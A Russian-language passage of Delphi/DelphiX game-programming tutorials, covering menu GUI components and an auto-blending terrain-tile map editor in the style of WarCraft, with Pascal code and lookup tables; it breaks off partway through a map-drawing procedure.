OnClick:=onclick1;//Процедура которая будет работать по нажатию на кнопку
У ЧекБоксов аналогично, но нету процедуры OnClick (пока). Отрисовка производится так: btn.DoDraw; //Где btn имя вашего компонентаИ остается только обработка на поведение мыши(cb - ЧекБокс, btn - Кнопка):
procedure TForm1.DXDrawMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin btn.OnMouseDown(x,y); cb.OnMouseDown(x,y); end; procedure TForm1.DXDrawMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin btn.OnMouseMove(x,y); cb.OnMouseMove(x,y); end; procedure TForm1.DXDrawMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin btn.OnMouseUp; cb.OnMouseUp; end;Тут код примера Вот в принципе и всё.
Создание Главного Меню в Игре - Часть 2 - EDIT.
Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru
Итак, мы всё также используем intf.zip содержащий описание компонентов(кнопок, листбоксов, чекбоксов, эдитов и тэдэ) для DelphiX. Cначала нужно подключить Intf к игре так:Uses ..............., intf;//Подключаем Inf к программе ......................................................................... procedure TForm1.FormCreate(Sender: TObject); begin fsurface:=dxdraw.surface; //Это необходимо ......................... end; ......................................................................... procedure TForm1.DXTimerTimer(Sender: TObject; LagCount: Integer); begin if not dxdraw.CanDraw then exit; fsurface:=dxdraw.Surface; //Это необходимо .......................... end;Теперь включив intf в свою программу, можно и компоненты посоздавать. Компоненты создаются просто:
edit1 := Tdxwedit.Create(form1);
With Edit1 do
begin
Name := 'Edit1';
Image := il.Items.Find('Edit');
Font.Style := [fsbold];
Font.Color := clYellow;
Font.Size := 18;
Font.Name := 'Times New Roman';
Left := 200;
Top := 270;
width := image.Width;
height := image.height;
OnChange := EditChange;
Text := 'C:\GAMES\US';
focused := true;
end;
//Где edit1:Tdxwedit
Вот процедура EditChange: begin //Тут чего нибудь делайте с текстом end;Отрисовка производится так:
edit1.DoDraw;//Отрисовка Edit'aИ остается только обработка на поведение мыши и на нажатие кнопок на клавиатуре:
procedure TForm1.DXDrawMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
if ptinrect(edit1.BoundsRect,mouse.CursorPos) then //Если мышь над Едитом то выделяем его
begin
edit1.Font.Style:=[fsBold];
edit1.Font.Color:=clWhite;
edit1.Focused:=true;
end else
begin
edit1.Font.Style:=[];
edit1.Font.Color:=clYellow;
edit1.Focused:=false;
end;
end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
edit1.KeyDown(key,shift);
end;
procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);
begin
edit1.KeyPress(key);
end;
Тут код примера
Вот в принципе и всё.
Создание редактора карт в стратегиях типа WarCraft.
| "Фраги не пахнут"-сказал геймер, затаскивая тело своего товарища по команде за угол. |
Довелось мне как-то озадачиться идеей написать редактор карт для моей новой игры. Скажу сразу, что задача эта не из простых. Приступим сразу к делу. Как правило, в двумерных стратегических играх типа Warcraft, Heroes of Might and Magic, Z и т. д. карты строятся из ячеек. Иными словами, карта - это матрица с некоторыми числовыми значениями внутри ячеек. Эти значения есть номера текстур( растровых картинок с изображениями земли, воды, камней и т. д., из которых и будет склеиваться Ваш уникальный ландшафт ).
Для создания карты задается двумерный массив ( Map : Array[3,3] of Byte ), записываются, каким-либо образом, в каждую ячейку порядковые номера текстур и при выводе карты на экран эти номера читаются из массива. Ну например:
...
for i := 0 to 2 do
for j := 0 to 2 do
begin
Number := Map[i,j];
X := J * TextureWidth;
Y := i * TextureHeight;
DrawTexture(X,Y,Number);
end;
...
|
Где:
Number номер текстуры, Х координата текстуры на экране, Y то же самое, DrawTexture некая процедура вывода текстуры на экран.Совет: Если Вам заранее не известно из какого количества ячеек будет состоять Ваша карта, не используйте Tlist в Tlist'e для ее создания. Советую воспользоваться PbyteArray.
GetMem(PbyteArray,MapWidth*MapHeight*SizeOf(Тип ячейки)) |
Тип ячейки в нашем случае - Byte. Обращение в этом случае будет таким: Number := PbyteArray[Y*MapWidth + X]; Где X,Y - координаты нужной ячейки в матрице.
Все что мы рассмотрели выше подходит для карт на основе только лишь одного типа земли. Поскольку все текстуры разные - карта как-бы состоит из квадратиков. Кому она такая нужна? Хочется чтобы эти текстуры плавно перетекали друг в друга. Отсюда есть три выхода:
Создавать карту из текстур мало отличающихся друг от друга и при рисовании карты выбирать их случайным образом. Налепить целю кучу "пересекающихся" между собой текстур и класть их на карту вручную. Так же налепить ту же кучу текстур и написать программу позволяющую автоматически распределять их на карте.Первый способ не очень интересен. Он скорее подходит для создания ролевых игр. Где, как правило, присутствует базовый тип земли, а все остальное, такое как вода, камни, травка представляется объектами. Второй способ легок по реализации, но очень утомительно будет потом создавать карты в таком редакторе.
Если у Вас вся карта состоит из текстур с травой, а Вам надо добавить участок воды, то мы видим, что для того чтобы добиться плавного перетекания Вам придется добавить еще 8 промежуточных текстур окружающих текстуру с водой. Если делать это вручную( по второму способу ), то это займет слишком много времени и сил. Поэтому нам второй способ тоже не подходит. Мы остановимся на третьем способе и будем создавать карту подобно тому, как это происходит в WarCraft'e. При добавлении текстуры на карту( фактически - записи номера текстуры в определенную ячейку матрицы ), окружающие ее текстуры будут рассчитываться автоматически. Как этого добиться?
Я достаточно долго ломал голову над этой проблемой. Я пытался найти какой-нибудь способ позволяющий не утруждать компьютер громоздкими вычислениями и работать максимально быстро и эффективно. Один раз я даже вывел формулу, по которой рассчитывались новые значения ячеек, но она увы имела ограниченное действие( только 2 типа земли ) и плохо подходила для создания карт, где требуется максимальное разнообразие. Но достаточно лирики, давайте вернемся к нашим баранам.
Прежде всего необходимо выяснить - какое количество переходных текстур нам понадобится для обеспечения плавного перетекания между двумя типами земель. Здесь есть свои тонкости.
Представим, что у нас имеется два типа земли: ВОДА и ЗЕМЛЯ, тогда: Во-первых нам понадобятся две базовых текстуры , это текстуры полностью заполненные водой или землей.
Во вторых нам понадобятся промежуточные текстуры. Сколько их нужно мы сейчас посчитаем.
Оказалось, что для плавного перетекания двух земель друг в друга надо 14 промежуточных текстур, плюс две базовых. Итого 16. Всякий программист знает, что это хорошая цифра.
Возможно кто-то спросит: А зачем так много? Не достаточно ли 8 текстур, где трава пересекается с водой? Нет не достаточно. Ведь ситуации бывают разные. Окружающие ячейки могут быть не полностью забиты травой ( в данном случае землей ), и тогда понадобятся дополнительные текстуры.
Тогда может последовать другой вопрос: Почему так мало текстур? Где например текстуры когда вода с трех сторон окружена землей, и с четырех, и другие? Не следует ли предусмотреть все случаи?
И это правильный вопрос, но здесь все зависит от конкретной реализации алгоритма автоматического вычисления необходимой текстуры. В моем примере он реализован так, что остальные текстуры не нужны. Объясню наглядно:
Текстуры воды окруженные землей с двух противоположных сторон превращаются в базовую текстуру земли ( в текстуру заполненную только землей ). Соответственно то же самое происходит когда вода окружена с трех или четырех сторон. Текстуры воды окруженные с двух уголков на одной стороне превращаются в текстуры полностью окруженные землей с одной стороны.( если уголки с трех сторон, то вода оказывается окружена полностью с двух сторон, если уголков 4, то вода превращается в землю совсем).Теперь, я надеюсь, все ясно. С помощью применения подобной техники количество промежуточных текстур удалось уменьшить ровно в два раза! Это существенная экономия памяти, особенно если учесть, что типов земель будет больше. Кстати в WarCraft'e, если я не ошибаюсь, используется такой же набор текстур.
Ну хорошо, теперь давайте еще посчитаем. Для "слияния" двух земель нам понадобилось 16 текстур. Но если к земле и воде добавить еще траву, то придется создавать также переходные текстуры для трава-земля и трава-вода. Это еще 32 текстуры. Добавим еще каменистую почву( надо же сделать карту разнообразнее). Еще 48 текстур. И так далее и так далее. А если мы хотим сделать несколько видов одной и той же текстуры( опять таки для разнообразия )? Количество текстур растет как на дрожжах. Что делать?
Но тут на помощь пришел опять-таки старый, добрый, затертый до дыр мышкой WarCraft. Никогда не замечали, что если в WarCraft'e, вернее в War Editor'e, "кладешь" воду на траву, то между травой и водой появляется прослойка земли? Вот и я заметил.
Вода граничит только с землей, трава тоже граничит только с землей. Земля в данном случае является "переходным" типом земли. Достаточно создать текстуры вода-земля, трава-земля, камни-земля, песок-земля и т. д. По 16 штук на каждую землю и все. Можно больше не беспокоится. Земли будут соединяться между собой через "переходный" тип земли. Спасибо WаrСrаft'у.
Итак, с количеством текстур и тем какими они должны быть мы разобрались, и вот наконец-то мы приступаем к самой реализации данной задачи.
Условимся, что:
Ячейку с номером 12 я буду называть активной или текущей. Землю которой мы рисуем я также буду называть активной или текущей. Землю которая была прежде была в ячейке 12 я буду называть прежней. Ячейки под номерами 6,7,8,11,13,16,17,18 я буду называть первым кругом. Ячейки под номером 0,1,2,3,4,5,9,10,14,15,19,20,21,22,23,24 я буду называть вторым кругом. Все текстуры имеющие в себе участок некоторого типа кроме переходного есть эта земля. То есть, к примеру, ячейки в первом круге - это вода.Пусть для данного примера у нас будет три типа земли: ВОДА, ТРАВА, КАМНИ. Плюс переходный тип - ЗЕМЛЯ. Нам понадобится 48 текстур. Почему 48, а не 64? - спросите вы, - ведь типов-то 4. Потому, что переходный тип и так есть в каждом из трех первых типов, в промежуточных текстурах.
Допустим, что текстуры у Вас будут храниться в компоненте ImageList, для нашего случая это удобнее всего. Разместим мы их следующим образом: за номером 0 будет располагаться цельная текстура воды, номера 1 - 14 займут промежуточные текстуры ВОДА-ЗЕМЛЯ (как на Рисунке 4), номер 15 займет цельная текстура ЗЕМЛИ. Следующий элемент ТРАВА займет номера 16 - 31 по тому же принципу, элемент КАМНИ займет номера с 32 - 47. Как Вы наверное заметили, номера 15,31,47 оказываются заняты одинаковыми цельными текстурами земли. Их можно сделать немного отличающимися друг от друга для обеспечения большего разнообразия, а затем выбирать случайным образом.
Введем базовые индексы типов земель. Пусть базовый индекс воды равен 0, базовый индекс травы равен 1, камней - 2. Тогда, узнав порядковый номер текстуры, мы можем выяснить какому типу земли она принадлежит, достаточно разделить целочисленным делением (Div) порядковый номер текстуры на 16. Если же мы разделим этот номер делением по остатку (Mod) на 16, то узнаем смещение или номер промежуточной текстуры внутри интервала номеров принадлежащего данному типу земли. Например, мы обратились к ячейке и получили номер 23. Поделив этот номер целочисленным делением на 16 получим 1. Это тип земли - ТРАВА. Поделив делением по модулю остатка на 16 получим 7. Это номер промежуточной текстуры.(См. Рисунок 4, только в данном случае была бы трава с землей) Заметьте, если бы вместо 7 мы получили 0, это означало бы цельную текстуру данной земли, 15 означало бы цельную текстуру переходного типа - ЗЕМЛЯ.
Теперь давайте немного попишем:
PMap : PbyteArray; // указатель на матрицу содержащую нашу карту WorldWidth, WorldHeight : Integer; // Ширина и высота карты в ячейках procedure CreateNewMap(WorldWidth,WorldHeigth : Integer); begin // Выделение памяти под матрицу GetMem(pMap,WodrldWidth*WorldHeight); // Заполнение этого участка нулями FillChar(pMap,WorldWidth*WorldHeight,0); end; function GetElement(x,y : Integer):byte; begin // Получить значение ячейки Result := pMap[y*WorldWidth + x]; end; procedure PutElement(x,y : Integer; index : Byte); begin // Записать значение в ячейку PMap[y*WorldWidth + x] := index; end; function GetBaseIndex(index : byte): byte; begin // Получить тип земли в виде номера(индекса) Result := index div 16; end; function GetAdditionalIndex(index : byte):byte; begin // Получить номер переходной текстуры Result := index mod 16; end; |
Вот. Вспомогательные функции мы написали, перейдем к рассмотрению технологии.
Посмотрите на Рисунок 6(б). Видно, что когда мы заменяем значение одной ячейки, эти изменения влияют, как на первый так и на второй круги ячеек. Возникает резонный вопрос: не случится ли такой ситуации, когда помещение на карту новой текстуры потребует перерисовки всей карты, так, словно кто-то бросил камень в воду? Если следовать принципам изложенным в этой статье, то не случится. Я проверял все варианты. Изменения касаются лишь первого и второго круга. Кто не верит, может проверить, посчитать, прикинуть, но это займет много времени. Теперь мы подходим к главному - по какому принципу рассчитывать новые значения изменяемых текстур. Возможно я Вас немного удивлю, но рассчитывать нам больше ничего не придется. Нам понадобится создать три массива (таблицы)16 на 25 элементов, записать в них заранее расчитанные значения, а затем их считывать в ходе выполнения программы. Сейчас поясню.
Поскольку в общей сумме у нас по максимуму может измениться 25 элементов на карте (Рисунок 6(б)), мы создадим вспомогательную матрицу 5х5, куда будем считывать с карты значения соответствующих ячеек. Затем мы изменим значения в этой матрице и поместим ее снова на карту откуда взяли.
В каждой ячейке может быть следующее значение:
Index + GroundIndex*16 , где.
Index - число от 0 до 15 указывающее на номер переходной текстуры. GroundIndex - число от 0 до 2 указывающее на тип земли - ВОДА, ТРАВА, КАМНИ.
Итак мы знаем номер лежащей в ячейке переходной текстуры (GetAdditionalIndex), мы также знаем номер этой ячейки в матрице 5х5. Этого вполне достаточно. Мы создадим массив-таблицу ширина которого равна количеству возможных переходных текстур 16, а высота равна количеству ячеек в матрице 5х5=25. Дальше мы действуем следующим образом: Считываем в матрицу 5х5 участок карты центром которого является ячейка в которую мы "кладем" новую землю, в ячейку 12 кладем цельную текстуру той земли которой мы рисуем. Затем для всех ячеек матрицы 5х5 кроме 12-ой делаем следующее: Поучаем номер переходной текстуры (GetAdditionalIndex) и обращаемся к таблице 16х25. Где номер переходной текстуры это положение ячейки таблицы 16х25 по горизонтали, а номер ячейки в матрице 5х5 это положение ячейки таблицы 16х25 по вертикали. Цифра 6 по горизонтали это GetAdditionalIndex от текстуры, которая прячется в матрице 5х5 в ячейке номер 17, а "Х" в красной клетке это тот самый новый номер для этой текстуры. Фактически смысл сводится к следующему: посмотрели какая была текстура - заглянув в таблицу, узнали какая стала.
Вы наверное спросите - а как узнать какие значения должны быть в таблице 16х25? Никак. Они рассчитываются в уме и записываются в таблицу ручками. Но вы можете не задумываться над этим, я уже рассчитал и записал их в своем примере. Смотрите в исходниках.
Кстати в тексте статьи я упоминал о том, что нам придется создать три таблицы 16х25. Я не оговорился. Дело в том, что у нас возможны три варианта, когда значения одной и той же ячейки в таблице должны быть разными:
Активная земля равняется прежней земле. Например, мы рисуем ТРАВОЙ, а в рассчитываемой ячейке тоже ТРАВА или ТРАВА с ЗЕМЛЕЙ. Активная земля не равна прежней земле. Например, мы рисуем ТРАВОЙ, а в рассчитываемой ячейке ВОДА или ВОДА с ЗЕМЛЕЙ. Рисуем переходным типом земли - ЗЕМЛЯ.Если кому-нибудь еще что-то не понятно, то надеюсь после рассмотрения исходных текстов программы все встанет на свои места.
Пример написан на Delphi 3 Professional, с использованием компонент библиотеки DelphiX для DirectX 6.0.
Модуль MapDat:
// Определение класса Matrix5 type TMatrix5 = class(TObject) private Matrix : array[0..4,0..4] of byte; Vector : array[0..24] of byte; public function GetBaseIndex( ElementIndex : Integer ): Integer; function GetAdditionalIndex( ElementIndex : Integer ): Integer; procedure Fill(X,Y : Integer); procedure Place(X,Y : Integer); procedure Culculate(X,Y : Integer; BrushIndex : Integer ); procedure Draw(X,Y : Integer; BrushIndex : Integer ); end; |
Внутри класса определены переменные в виде матрицы 5х5 и вектора. Некогда я думал, что это упростит написание программы, сейчас я думаю, что можно воспользоваться только вектором. Методы GetBaseIndex и GetAdditionalIndex мы уже рассматривали, рассмотрим остальные:
Метод Fill(X,Y : Integer);
procedure TMatrix5.Fill(X,Y : Integer);
var
i, j: Integer;
begin
for j := 0 to 4 do
for i := 0 to 4 do
Matrix[i,j] := MainForm.GetElement(X - 2 + i,Y - 2 + j);
for j :=0 to 4 do
for i := 0 to 4 do
Vector[j*5 + i] := Matrix[i,j];
end;
|
Заполняет матрицу и вектор 25-ю элементами карты. Х,Y - указывает на центральный элемент.
Метод Place(x,y : Integer);
procedure TMatrix5.Place(X,Y : Integer);
var
i, j: Integer;
begin
for j := 0 to 4 do
for i := 0 to 4 do
Matrix[i,j] := Vector[j*5 + i];
for j := 0 to 4 do
for i := 0 to 4 do
MainForm.PutElement(X - 2 + i,Y - 2 + j, Matrix[i,j] );
end;
|
Выполняет процедуру обратную методу Fill. То есть кладет матрицу 5х5 на карту.
Метод Draw(X,Y : Integer; BrushIndex : Integer);
procedure TMatrix5.Draw(X, Y: Integer; BrushIndex: Integer); begin Self.Culculate(X, Y, BrushIndex); Self.Place(X, Y); end; |
Выполняет методы Culculate , а затем Place. X,Y - указывают центральный элемент в матрице 5х5, BrushIndex - индекс активной земли. (0-вода,1-трава,2-камни,3- переходный тип - земля).
Прежде чем перейти к основному методу данного модуля - Culculate, покажу вам созданные таблицы.
const BasicTable : array[0..24,0..15] of byte = ( (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), ( 9, 1, 6, 8, 4, 5, 6,15, 8, 9, 1,14, 4, 5,14,16), ( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,16), (10, 1, 2, 7,15, 5, 6, 7,15, 1,10, 2, 7,13, 6,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), ( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), ( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (12, 5, 7, 3, 4, 5,15, 7, 8, 4,13, 3,12,13, 8,16), ( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,16), (11, 6, 2, 3, 8,15, 6, 7, 8,14, 2,11, 3, 7,14,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16)); EqualTable : array[0..24,0..15] of byte = ( (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,10,16,16,12,13, 2,16, 3, 0,16,16,16,16,11, 7), (16, 0,11,16,12,12,11, 3, 3, 0, 0,16,16,12,11, 3), (16, 9,11,16,16, 4,14, 3,16,16, 0,16,16,12,16, 8), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,10,16,11, 0,10, 2, 2,11, 0,16,16, 0,10,11, 2), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16, 9, 0,12,16, 4, 9,12, 4,16, 0, 0,16,12, 9, 4), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,11, 9, 1,16, 2,14,16,16,16, 0,10,16, 6), (16,16,10, 0, 9, 1, 1,10, 9,16,16, 0, 0,10, 9, 1), (16,16,10,12,16,16, 1,13, 4,16,16, 0,16,16, 9, 5), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16)); NotEqualTable : array[0..24,0..15] of byte = ( ( 9, 1, 6, 8, 4, 5, 6,15, 8, 9, 1,14, 4, 5,14,15), ( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15), ( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15), ( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15), (10, 1, 2, 7, 5, 5, 6, 7,15, 1,10, 2,13,13, 6,15), ( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15), (23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23), (19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19), (24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24), ( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15), ( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15), (18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20), ( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15), ( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15), (22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22), (17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17), (21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21), ( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15), (12, 5, 7, 3, 4, 5,15, 7, 8, 4,15,13,12,13, 8,15), ( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15), ( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15), ( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15), (11, 6, 2, 3,15,15, 6, 7, 8,14, 2,11, 3, 7,14,15)); |
Заметьте, что в таблицах иногда используется число 16, а в таблице NotEqualTable и больше. Число 16 указывает, что текстура не изменится в результате наших воздействий. Честно говоря, я просто не помню зачем я вводил числа больше 16-ти, я написал эту программу год назад. В дальнейшем в теле модуля Culculate я от этих чисел отнимаю 16, а зачем - Бог его знает. Кому охота - можете исправить, но программа работает.
Да, на первый взгляд таблицы выглядят немного устрашающе. Кто-то может спросить: Зачем громоздить такие кошмары? Неужели не найти формулу для расчета? Ведь так будет намного компактнее. Но я отвечу, что программы на ассемблере выглядят тоже страшновато, зато работают намного быстрее, чем на других языках. Может и есть формула, но я уверен, что она непростая, а стало быть работать будет намного медленнее чем простое обращение к массиву.
Модуль Culculate(X,Y : Integer; BrushIndex : Integer);
procedure TMatrix5.Culculate(X,Y : Integer ; BrushIndex : Integer );
var
i: Integer;
BaseIndex, AdditionalIndex: Integer;
begin
// Заполнить матрицу считав значения с карты
Self.Fill(X,Y);
// Если рисуем переходной землей
if BrushIndex = 3 then
begin
// Заносим центральный элемент
Vector[12] := 15;
for i := 0 to 24 do
begin
// Получить тип земли в виде индекса(0,1,2)
BaseIndex := GetBaseIndex(Vector[i]);
// и прежний номер переходной текстуры
AdditionalIndex := GetAdditionalIndex(Vector[i]);
// Если число в таблице BasicTable не равно 16 то,
// к индексу типа земли умноженному на 16
// прибавляем новое смещение
// и заносим в Vector
// ,иначе ничего не меняется
if BasicTable[i,AdditionalIndex] <> 16 then
Vector[i] := BaseIndex * 16 + BasicTable[i, AdditionalIndex];
end;
end { Конец обработки варианта "Переходная земля"}
else // Иначе, если рисуем не переходной землей
begin
// Заносим центральный элемент
Vector[12] := BrushIndex * 16;
for i := 0 to 24 do
begin
// Получить тип земли в виде индекса(0,1,2)
BaseIndex := GetBaseIndex(Vector[i]);
// и прежний номер переходной текстуры
AdditionalIndex := GetAdditionalIndex(Vector[i]);
// Если прежняя земля имеет тот же тип, что и активная
if BaseIndex = BrushIndex then
begin
// Если число в таблице EqualTable не равно 16 то,
// к индексу типа земли умноженному на 16
// прибавляем новое смещение
// и заносим в Vector
// ,иначе ничего не меняется
if EqualTable[i,AdditionalIndex] <> 16 then
Vector[i] := BaseIndex*16 + EqualTable[i,AdditionalIndex];
end
else // Если заменяемая и замещающая земля имеют разные типы
begin // Если число в таблице NotEqualTable не равно 16 то,
// к индексу типа земли умноженному на 16
// прибавляем новое смещение
// и заносим в Vector
// ,иначе ничего не меняется
if NotEqualTable[i,AdditionalIndex] then
Vector[i] := BaseIndex*16 + NotEqualTable[i,AdditionalIndex]
else
if NotEqualTable[i,AdditionalIndex] > 16 then
Vector[i] := BrushIndex*16+ NotEqualTable[i,AdditionalIndex] - 16;
end;
end;
end;
end;
|
Разберем все по полочкам: Первая строчка Self.Fill(X,Y); заполняет матрицу 5х5 значениями считанными с карты. Дальше следует такой кусок кода:
if BrushIndex = 3 then
begin
Vector[12] := 15;
for i := 0 to 24 do
begin
BaseIndex := GetBaseIndex(Vector[i]);
AdditionalIndex := GetAdditionalIndex(Vector[i]);
if BasicTable[i,AdditionalIndex] <> 16 then
Vector[i] := BaseIndex*16 + BasicTable[i,AdditionalIndex];
end;
end;
|
В нем мы рассчитываем случай, когда рисуем переходным типом земли - ЗЕМЛЯ(if BrushIndex = 3 then). Строка Vector[12] := 15; заносит в центральный элемент №12 цельную текстуру активной земли, для нашего случая это могут быть числа 15,31,47. Как мы помним именно под этими номерами в нашем ImageListe находятся цельные текстуры ЗЕМЛИ. Далее в цикле, для каждого элемента взятого с карты и положенного в матрицу ( в данном виде - в вектор, для упрощения организации цикла) получаем индекс типа земли(BaseIndex := GetBaseIndex(Vector[i]);) , получаем номер переходной текстуры (AdditionalIndex := GetAdditionalIndex(Vector[i]);), и лезем в соответсвующую таблицу ( входные параметры которой это номер ячейки i и номер переходной текстуры AdditionalIndex). Если на выходе получим число 16, то ничего не меняем, если другое число, то индекс типа земли умножаем на 16 - это номер цельной текстуры данного типа земли, и прибавляем число полученное из таблицы - это новый номер переходной текстуры.
Если в матрице 5х5 лежит в некоторой ячейке число 20, то индекс переходной текстуры будет равен 4 ( 20 mod 16), индекс типа земли равен 1 (20 div 16), а индекс цельной текстуры земли равен 16 ( Индекс типа земли * 16 ). Номер ячейки, где лежит число 20, и индекс переходной текстуры (4) - входные параметры в таблицу BaseTable. Если мы на выходе получим, к примеру число 8, то нужно к индексу цельной текстуры прибавить 8, чтобы получить индекс новой переходной текстуры. ( Индекс типа земли * 16 + 8 = 24 ) Это будет новое число, которое мы поместим на карту.
Следующий кусок кода:
else
begin
Vector[12] := BrushIndex*16;
for i := 0 to 24 do
begin
BaseIndex := GetBaseIndex(Vector[i]);
AdditionalIndex := GetAdditionalIndex(Vector[i]);
if BaseIndex = BrushIndex then
begin
if EqualTable[i,AdditionalIndex] <> 16 then
Vector[i] := BaseIndex*16 + EqualTable[i,AdditionalIndex];
end
else
begin
if NotEqualTable[i,AdditionalIndex] then
Vector[i] := BaseIndex*16 + NotEqualTable[i,AdditionalIndex]
else
if NotEqualTable[i,AdditionalIndex] > 16 then
Vector[i] := BrushIndex*16+ NotEqualTable[i,AdditionalIndex] - 16;
end;
end;
end;
end;
|
Делает все то же самое, для двух оставшихся случаев. Голубым выделены те строчки, которые по моему мнению можно удалить, но при этом исправить в таблице NotEqualTable числа больше 16 на эти же числа минус 16. Все, с технологией покончено!!!
Следующие страницы я посвящу некоторым особенностям вывода карты на экран в моем примере. Кого интересовала только технология расчета плавных перетеканий текстур, дальше, если нет желания, могут не читать.
Как я уже говорил, в примере я использовал компоненты для DirectX, написанные каким-то хорошим китайцем. Имя у него соответственно самое что ни на есть китайское, по этому я его не помню.
Конкретно для вывода карты на экран использовались компоненты TDXDraw, TDXImageList и TDXTimer.
TDXDraw в основном используется для переключения страниц видеопамяти. Что это такое объяснять не буду. TDXImageList хранит в качестве элементов файлы со спрайтами выстроенными в одну цепочку. Соответственно к конкретному спрайту можно обратится по имени файла и номеру спрайта в нем. Также в этом компоненте есть две переменные PatternWidth, PatternHeight для указания ширины и высоты спрайтов, и переменная TransparentColor для указание прозрачного цвета. TDXTimer используется для генерации события DXTimerTimer с частотой заданной или рассчитанной в ходе выполнения программы.Итак, текстуры выполнены в виде одного файла внутри которого выстроены в цепочку в соответствии с принципами изложенными выше и помещены в TDXImageList под именем "West". ( TDXImageList позволяет находить файлы внутри себя по их имени).
Нам нужно вывести на экран некоторую часть карты, причем карта наша состоит из кусочков и нам нужно вывести только те кусочки, которые видны в данный момент.
Можно сделать окно вывода кратным размеру текстур, а скроллинг организовать потекстурно с шагом равным ширине/высоте текстуры, тогда нет проблем, но это смотрится не очень красиво. Наша задача состоит в том, чтобы организовать скроллинг попиксельно и дать возможность задать окно вывода любого размера. Для того, чтобы это сделать нужно рассчитать сколько текстур по горизонтали и сколько текстур по вертикали мы должны отрисовать в окне вывода, включая и те текстуры которые в данный момент времени видны только частично.
Черным контуром показано окно вывода. Как видно - не все ячейки карты целиком влезли в окно, но их тоже надо отрисовать. Положение окна вывода на карте определяется координатами его левого верхнего угла относительно карты.( TopLeftCorner.x, TopLeftCorner.y) Их величины в пикселях(Нам же надо сделать попиксельный скроллинг) При создании новой карты они приравниваются нулям, и в дальнейшем определяются положением полос прокрутки. Вот часть кода:
procedure TMainForm.RedrawMap; var OffsPoint : TPoint; TopLeftElem : TPoint; ElemCount : TPoint; HelpVar1 : Integer; HelpVar2 : Integer; i,j : Integer; x,y : Integer; index : Integer; begin OffsPoint.x := TopLeftCorner.x mod ElemWidth; OffsPoint.y := TopLeftCorner.y mod ElemHeight; |
